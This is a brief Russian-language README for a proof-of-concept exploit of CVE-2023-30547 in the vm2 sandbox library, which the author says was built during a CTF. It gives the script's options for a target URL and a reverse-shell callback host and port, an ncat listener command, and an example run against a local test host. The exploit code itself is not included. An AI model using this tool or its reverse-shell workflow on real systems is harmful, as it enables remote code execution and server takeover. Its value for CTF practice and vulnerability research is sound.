
PoC для CVE-2023-30547 (библиотека vm2)
Это Proof-of-Concept для CVE-2023-30547 (https://nvd.nist.gov/vuln/detail/CVE-2023-30547). Я создал этот PoC во время CTF.
CVE-2023-30547 PoC [-h] [--url URL] [--lhost LHOST] [--lport LPORT]
PoC для уязвимости vm2 CVE-2023-30547
options:
-h, --help показать это справочное сообщение и выйти
--url URL Целевой URL
--lhost LHOST IP локального хоста для обратной оболочки (reverse shell)
--lport LPORT Порт локального хоста для обратной оболочки (reverse shell)
$ ncat -lnvp 1337
$ python3 exploit.py --url "http://vulnhost.local/run" --lhost 127.0.0.1 --lport 1337